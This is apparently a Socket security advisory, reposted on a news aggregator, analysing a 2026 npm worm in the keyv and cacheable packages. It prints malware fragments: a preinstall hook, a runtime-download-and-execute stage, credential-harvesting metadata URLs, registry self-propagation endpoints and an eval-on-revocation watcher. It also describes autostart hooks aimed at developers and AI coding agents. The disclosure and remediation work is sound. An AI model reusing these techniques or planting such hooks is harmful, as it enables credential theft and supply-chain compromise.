cd /news/ai-tools/popular-npm-packages-in-the-keyv-and… · home topics ai-tools article
[ARTICLE · art-103366] src=socket.dev ↗ pub= topic=ai-tools verified=true sentiment=↓ negative

Popular npm Packages in the keyv and Cacheable Namespaces Compromised in Active Supply Chain Attack

Socket's Threat Research Team reported an active supply chain attack on August 4, 2026, that compromised the npm packages keyv and cacheable, affecting tens of millions of weekly downloads. The attack used a malicious preinstall hook (setup.mjs) to download a Bun runtime, execute an obfuscated second stage, harvest cloud and CI credentials, and republish trojanized versions of other packages using stolen npm tokens. The maintainer account Jaredwray was compromised, and at least ten packages were published with the malicious hook, with new packages appearing in real time.

read10 min views1 publishedAug 4, 2026
Popular npm Packages in the keyv and Cacheable Namespaces Compromised in Active Supply Chain Attack
Image: Socket (auto-discovered)

Socket’s AI scanner flagging the malicious

setup.mjs

preinstall hook in keyv@6.0.0

.Popular npm packages keyv and cacheable compromised.

Socket’s Threat Research Team is tracking an active supply chain compromise affecting the widely used keyv

and cacheable

npm packages. On August 4, 2026, at least ten packages beginning with the keyv and cacheable namespaces and spreading to packages owned by other maintainers, were published with a malicious preinstall

hook (setup.mjs

) that downloads a standalone Bun runtime, executes an obfuscated second stage, harvests cloud and CI credentials, and republishes trojanized versions of other packages the stolen npm token can reach. The affected packages collectively account for tens of millions of weekly downloads. New packages are appearing in real time, and Socket team will keep on updating the list.

The evidence indicates the maintainer account (Jaredwray) was compromised and used to publish across two package families. From there the worm used stolen npm tokens to publish trojanized versions of additional packages, including some outside those namespaces.

.claude

and .vscode

to hit developers who clone the source.Socket’s AI scanner flagging the malicioussetup.mjs

preinstall hook inkeyv@6.0.0

.

This is an ongoing investigation. Socket will continue updating the blog with technical analysis of the malware and its distribution method.

Across the campaign, affected package artifacts were detected an average of five minutes and 18 seconds after publication. Socket users can check whether they are affected by viewing the dedicated campaign page: https://socket.dev/supply-chain-attacks/keyv-and-cacheable-compromise

keyv

is a key-value storage abstraction with adapters for Redis, SQLite, Postgres, MongoDB, and more.

cacheable

, cacheable-request

, flat-cache

, and file-entry-cache

are caching libraries in the same maintainer's ecosystem. These are foundational packages that sit deep in dependency trees, so their reach is largely indirect. A common chain is eslint

to file-entry-cache

to flat-cache

to keyv

, which means most affected users never install any of them directly.

All times UTC on August 4, 2026, based on npm registry publish timestamps.

@keyv/*

packages (for example @keyv/redis

, @keyv/sqlite

, @keyv/mongo

) published their 6.0.0

tarballs between 09:30 and 09:32, roughly seven minutes before the staging commit. Those tarballs do not contain the preinstall

hook. Treat them as suspect given the account compromise, but the executable payload is confirmed only in the packages listed below.keyv@6.0.0

published at 09:35, the first version to carry the malicious preinstall

hook.keyv@6.0.0

roughly six minutes after publication, surfacing the malicious preinstall

hook well before the broader cacheable

burst that followed at 10:09. @thiennq/docs-viewer@1.6.2

, a package outside the keyv and cacheable namespaces, published at 09:38, indicating the campaign reached at least one account beyond these two families.jaredwray/keyv

source repository shows force pushes to main

, repeated deletion of the v6.0.0

tag, a commit titled "add setup.mjs and Math_Symbol.js to all @keyv/* packages," and subsequent activity on the v5

release branch. This indicates the threat actor retained account and CI control and was manipulating history in real time.cacheable

family published in a burst between 10:09:44 and 10:14:41: @cacheable/net@2.1.1

, @cacheable/node-cache@3.1.2

, cacheable@2.5.1

, flat-cache@6.1.24

, cacheable-request@13.0.20

, @cacheable/memory@2.2.1

, file-entry-cache@11.1.6

, @cacheable/utils@2.5.1

, and cache-manager@7.2.10

.The compromise is delivered entirely through the npm lifecycle. The published library code (the package dist/ output) is byte identical, by SHA-256, to the clean 6.0.0-rc.1 build. Every dist file matches; the only changes in the package are package.json and the two added lifecycle files. All malicious behavior lives in an added preinstall

hook, so the package behaves normally after installation while the host is already compromised.

The trojanized package.json adds two files and a hook:

"files": [ "dist", "LICENSE", "setup.mjs", "Math_Symbol.js" ],
"scripts": {
  "preinstall": "node setup.mjs"
}

setup.mjs

) setup.mjs is a lightly obfuscated Node script. If

bun

is not already present, it downloads a platform-matched standalone Bun runtime and uses it to run the second stage. Node still executes setup.mjs first; the then uses Bun to run the second stage, which may bypass controls that monitor only Node processes.

const V = "1.3.13";
const E = "Math_Symbol.js"; // recovered constant; the .claude/.vscode repo variant of this  uses "math_init.js" for the identical payload
const url = "https://github.com/oven-sh/bun/releases/download/bun-v" + V + "/" + target + ".zip";

The detects platform and architecture (including Alpine and musl via ldd --version

and /etc/os-release

), unzips using the system unzip

, PowerShell Expand-Archive

on Windows, or a hand written pure JavaScript ZIP parser fallback, then executes the second stage:

execFileSync(bunBinary, [payloadPath], { stdio: "inherit", cwd: D });

The downloads the Bun binary over HTTPS with no checksum or signature verification, and removes its bun-dl-* temporary directory after execution, which limits on-disk artifacts.

Math_Symbol.js

)Math_Symbol.js

is a roughly 728 KB Bun bundle. Strings are protected with polymorphic basE91 encoding: one shared numeric opcode table drives dozens of per scope alphabets that are decoded lazily. Recovering the strings requires reimplementing basE91 and brute forcing each alphabet, which yields the full capability set. Internal module log tags identify the components: [collector]

, [dispatcher]

, [provenance]

, and [publish]

.

Credential collection targets a broad range of secrets:

"http://169[.]254[.]169[.]254/latest/api/token"
"http://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/"
"http://169[.]254[.]170[.]2"

The collector actively queries the AWS instance metadata service and reads AWS credential chains and Secrets Manager across regions. GCP service account private keys and Azure client secrets appear as regular-expression and file targets rather than confirmed API calls. It reads HashiCorp Vault tokens from paths such as /home/runner/.vault-token and /run/secrets/VAULT_TOKEN, Kubernetes service account tokens from /var/run/secrets/kubernetes.io/serviceaccount/token, and npm tokens via the registry whoami and token endpoints. It enumerates GitHub Actions organization and repository secret metadata through the API; secret values are recovered from environment variables, files, and process scanning on the runner, not from that API.

A TruffleHog style regular expression sweep hunts generic keys, bearer tokens, and private key blocks on disk.

Self propagation turns the credential theft into a worm:

"https://registry.npmjs.org/-/whoami"
"registry.npmjs.org/-/v1/search?text=maintainer:" // discover targets
"https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/" // mint publish credential

For each discovered package, the payload downloads the tarball, injects the same preinstall

hook and payload files, recomputes the integrity and shasum fields, bumps the version, and issues a PUT

to the registry. A dedicated provenance component builds DSSE attestation envelopes, requests Fulcio signing certificates, and submits Rekor transparency-log entries, so republished versions can ship freshly minted, verifiable sigstore provenance rather than merely inheriting it. Separately, and this is what we confirmed directly, keyv@6.0.0

itself shipped with a passing attestation because the legitimate release workflow built already-trojanized source. The republish capability in the payload and the observed keyv provenance are two distinct facts.

Exfiltration and persistence avoid a fixed command and control host. A GitHubSender

component creates repositories through POST /user/repos

and commits stolen findings using the GraphQL createCommitOnBranch

mutation, while a DomainSender component resolves destinations via DNS and health-checks them before sending encrypted data. The bundle embeds an operator-controlled public key, stored as an AES-256-GCM-encrypted constant and decrypted at runtime, and uses AES-256-GCM (envelope: 12-byte IV, 16-byte tag, ciphertext) for its data handling. Collected data is delivered as ciphertext, so the GitHub repositories and DNS-resolved destinations receive only encrypted output. The source repository additionally plants autostart hooks in .claude/settings.json

(a SessionStart

hook) and .vscode/tasks.json

(a folderOpen

task), both of which execute the same when a developer or an AI coding agent opens the cloned repository, with no npm install

required.

Beyond the repository autostart files, the payload installs a host-level dead-man's switch. It writes the stolen GitHub token and a handler command to ~/.config/gh-token-monitor/{token,handler} (mode 600)

, then persists itself as a macOS LaunchAgent (com.user.gh-token-monitor, RunAtLoad and KeepAlive)

or a Linux systemd

user service with loginctl enable-linger

so it survives logout. A watcher script at ~/.local/bin/gh-token-monitor.sh

polls the GitHub API with the stolen token every 60 seconds; when the token stops working (an HTTP 4xx, the moment it is revoked or rotated), it evaluates a remote-supplied handler string, then deletes its state and exits. It also self-clears after a 24-hour TTL.

if [[ "$HTTP_STATUS" =~ ^40[0-9]$ ]]; then
eval "$HANDLER"          # triggered by token revocation / rotation
rm -f "$STARTED_FILE"; exit 0
fi

The LaunchAgent is labelled com.user.gh-token-monitor and the systemd unit describes itself as "GitHub Token Validity Monitor," so it reads as a developer convenience at a glance. No linter, secret scanner, or release tool installs a background service that watches for its own credential to be revoked and then evaluates a remote-supplied string. This is the artifact that removes any ambiguity about intent.

Any environment that installed an affected version and ran install scripts should be treated as compromised. On a developer workstation or CI runner, the payload can exfiltrate cloud provider keys, Vault and Kubernetes tokens, GitHub and npm credentials, and any secrets matching its regex sweep.

Because the payload republishes through the victim's own npm identity, a single compromised CI token can extend the campaign to additional packages, and the maintainer controlling both keyv

and cacheable

gives the worm a large blast radius across common dependency trees.

The lesson is that provenance attests build integrity, not source integrity. The npm and sigstore pipeline did exactly what it is designed to do and still produced a signed, verifiable attestation for malware, because the source it built from was already trojanized.

The tradecraft closely matches the techniques seen in the Shai-Hulud npm worm activity: harvesting credentials with a TruffleHog style regular expression sweep, enumerating the maintainer's packages and republishing trojanized versions through stolen npm tokens and OIDC trusted publishing, and staging stolen data into threat actor controlled GitHub repositories created through the GitHub API.

The payload's strings are protected with polymorphic basE91 encoding, and the components that name the dead-drop repositories and commits appear to be constructed at runtime, so the self-identifying markers that would tie this to a named campaign were not recovered from the sample. This sample also shows techniques not documented in earlier Shai-Hulud reporting: it downloads a standalone Bun runtime to execute a bundled second stage, uses a modular dispatcher with separate GitHub and domain-based delivery channels, and plants autostart hooks in .claude

and .vscode

to reach developers and AI coding agents who clone the source.

Pin each affected package to the version immediately prior to the one listed below and rebuild lockfiles. Prefer exact versions and lock by integrity hash. Do not allow caret or tilde ranges or npm update

to pull a fresh 5.x or patched release while the maintainer account remains compromised. Where practical, block the entire keyv

, @keyv

, and cacheable

scope in your registry proxy or allowlist rather than individual versions.

Before rotating any credential, hunt for and remove the host-level dead-man's switch. Revocation is its trigger: the watcher runs eval on a remote-supplied handler the moment the stolen token returns an HTTP 4xx. Check and remove:

~/.local/bin/gh-token-monitor.sh

~/.config/gh-token-monitor/ (token, handler, started_at)

~/Library/LaunchAgents/com.user.gh-token-monitor.plist (macOS; also unload the LaunchAgent)

~/.config/systemd/user/gh-token-monitor.service (Linux; also run loginctl disable-linger)

/tmp/gh-token-monitor.{out,err}.log

Also remove the installer and implant: the process chain node setup.mjs

spawning a downloaded bun, bun-dl-*

temporary directories, Math_Symbol.js

or math_init.js

on disk, and the .claude/settings.json

and .vscode/tasks.json

autostart hooks. Assume an equivalent monitor may exist for the npm token.

Only after the switch and implant are removed, rotate every credential reachable from the host: npm tokens, GitHub personal access tokens and GITHUB_TOKEN, AWS, GCP, and Azure keys, Vault tokens, Kubernetes service account tokens, and CI organization and repository secrets. Revoke rather than only rotate npm and GitHub tokens. Then audit npm accounts for unexpected package versions published today and audit GitHub for newly created repositories and unexpected commits.

See: https://socket.dev/supply-chain-attacks/keyv-and-cacheable-compromise

54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668 - setup.mjs (npm tarball preinstall )

fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1eb - setup.mjs (.claude and .vscode repository , identical in both)

9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc - Math_Symbol.js (npm tarball) and math_init.js (repository), identical payload

keyv-6.0.0.tgz

  • 37f9f847e9c3e520b47d83a 9029e199dbc30c6a195a1d80467d0fb1a6fd5068728ad4d1a422995ca578359263afdac5d3b4fed7a6b9befad27de19cca6966952

169[.]254[.]169[.]254

169[.]254[.]170[.]2

github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/

registry[.]npmjs[.]org/-/whoami

registry[.]npmjs[.]org/-/npm/v1/tokens

registry[.]npmjs[.]org/-/npm/v1/oidc/token/exchange/package/

Get notified when we publish new security blog posts!

── more in #ai-tools 4 stories · sorted by recency
── more on @socket 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/popular-npm-packages…] indexed:0 read:10min 2026-08-04 ·